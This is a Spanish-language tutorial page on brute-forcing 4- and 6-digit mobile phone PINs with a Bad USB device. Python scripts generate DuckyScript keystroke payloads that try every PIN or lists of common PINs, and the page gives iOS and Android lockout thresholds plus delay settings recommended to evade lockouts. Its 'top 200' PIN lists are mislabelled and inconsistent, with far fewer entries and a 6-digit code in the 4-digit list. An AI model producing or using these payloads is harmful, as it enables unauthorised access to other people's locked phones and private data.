Page cover

👿Bruteforce de Pins

En esta página aprenderás a usar Bad USB para hacer Bruteforce de Pins en dispositivos móviles, para 4 y 6 dígitos.

Mi repositorio de payloads

Podemos usar mi repositorio donde tengo subidos payloads para 4 y 6 pines. Solamente tendríamos que descargarnos los payloads dentro de la carpeta de Bad USB:

Generador de Payloads en Python

Podemos utilizar los siguientes scripts en python para personalizar los payloads a nuestro gusto.

Pins de 4 dígitos

El siguiente script genera un payload para pins de 4 dígitos:

# Generador de DuckyScript para fuerza bruta de PINs
with open("bruteforce_4digit_pin.txt", "w") as f:
    f.write("DEFAULT_DELAY 2000\n")
    for pin in range(10000):  # PINs de 0000 a 9999
        f.write(f"STRING {pin:04d}\n")  # Escribe el PIN con ceros iniciales
        f.write("ENTER\n")
        f.write("DELAY 5000\n")  # Pausa para evitar bloqueos

Pins de 6 dígitos

El siguiente script genera un payload para pins de 6 dígitos:

# Generador de DuckyScript para fuerza bruta de PINs de 6 dígitos
with open("bruteforce_6digit_pin.txt", "w") as f:
    f.write("DEFAULT_DELAY 2000\n")  # Tiempo inicial de estabilización
    for pin in range(1000000):  # PINs de 000000 a 999999
        f.write(f"STRING {pin:06d}\n")  # Escribe el PIN con ceros iniciales
        f.write("ENTER\n")  # Simula presionar Enter
        f.write("DELAY 5000\n")  # Pausa para evitar bloqueos de intentos rápidos

Generador de Pins Comunes en Python

Pins de 4 dígitos

El siguiente script genera un payload con los 200 pins más comunes de 4 dígitos:

# Generador de DuckyScript para bruteforce de PINs comunes de 4 dígitos

# Lista inicial de PINs más comunes
common_pins = [
    "1234", "1111", "0000", "1212", "7777", "1004", "2000", "4444", "2222", 
    "6969", "9999", "3333", "5555", "6666", "1122", "1313", "8888", "4321", 
    "1010", "2580", "2019", "1987", "1980", "2468", "1357", "9876", "123456"
]

# Crear archivo DuckyScript
with open("brute_common_4pins.txt", "w") as f:
    f.write("DEFAULT_DELAY 2000\n")  # Tiempo inicial de estabilización
    for pin in common_pins:
        f.write(f"STRING {pin}\n")  # Escribe el PIN más usado o generado
        f.write("ENTER\n")  # Simula presionar Enter
        f.write("DELAY 5000\n")  # Pausa para evitar bloqueos de intentos rápidos

Pins de 6 dígitos

El siguiente script genera un payload con los 200 pins más comunes de 6 dígitos:

# Generador de DuckyScript para bruteforce de PINs comunes de 6 dígitos

# Lista inicial con los PINs comunes, eliminando duplicados
pins = [
    "123456", "654321", "111111", "000000", "222222", "333333", "444444", 
    "555555", "666666", "777777", "888888", "999999", "121212", "112233", 
    "123123", "101010", "123321", "789456", "147258", "111222", "696969", 
    "000123", "222333", "333444", "123654", "654123", "112211", "223344", 
    "445566", "556677", "667788", "778899", "121121", "343434", "565656", 
    "787878", "909090", "098765", "567890", "456789", "345678", "234567", 
    "987654", "876543", "765432", "210987", "110110", "314159", "271828", 
    "141421"
]

# Crear archivo DuckyScript
with open("brute_common_6pins.txt", "w") as f:
    f.write("DEFAULT_DELAY 2000\n")  # Tiempo inicial de estabilización
    for pin in pins:
        f.write(f"STRING {pin}\n")  # Escribe el PIN
        f.write("ENTER\n")  # Simula presionar Enter
        f.write("DELAY 5000\n")  # Pausa para evitar bloqueos de intentos rápidos

Limitaciones y recomendaciones

1. Bloqueos y límites en iOS

  • Intentos Fallidos:

    • iOS tiene un sistema de bloqueo progresivo después de varios intentos fallidos.

    • Por defecto:

      • 5 intentos fallidos: Bloqueo temporal de 1 minuto.

      • 6 intentos fallidos: Bloqueo de 5 minutos.

      • 7 intentos fallidos: Bloqueo de 15 minutos.

      • 8 intentos fallidos o más: Bloqueos de 1 hora.

    • Si la opción "Borrar datos" está habilitada, el dispositivo se restablecerá después de 10 intentos fallidos.

  • Automatización con un teclado HID:

    • iOS trata las entradas HID como si fueran manuales, pero el comportamiento de bloqueo sigue siendo el mismo.

2. Bloqueos y límites en Android

Dependiendo de la antigüedad del S.O. son más o menos restrictivos:

  • Versiones antiguas (< Android 6.0):

    • Menos restricciones en los intentos fallidos; algunos dispositivos permitían intentos infinitos si no se habilitaban medidas adicionales.

  • Versiones modernas (Android 10+):

    • Implementación más robusta de límites progresivos y bloqueos automáticos, integrados con funciones de seguridad como FRP (Factory Reset Protection) para proteger el dispositivo contra el acceso no autorizado.

3. Tiempo de espera Recomendado

Para evitar estos bloqueos, considera los siguientes intervalos:

  • Intentos por minuto: No más de 5 intentos (un intento cada 12 segundos).

  • DELAY sugerido:

    • Mínimo: 12000 ms (12 segundos).

    • Recomendado: 15000 ms (15 segundos), para dar tiempo adicional y simular comportamiento humano.

4. Cálculo del tiempo Total

Si estás probando todas las combinaciones de un PIN de 6 dígitos (1,000,000 combinaciones) con un retraso de 15 segundos entre cada intento:

1,000,000 × 15 segundos = 15,000,000 segundos = 173.6 dias

Esto hace que sea inviable realizar fuerza bruta en dispositivos iOS modernos con un pin de 6 dígitos, ya que los tiempos de espera y bloqueos hacen que el proceso sea extremadamente lento.

Última actualización

¿Te fue útil?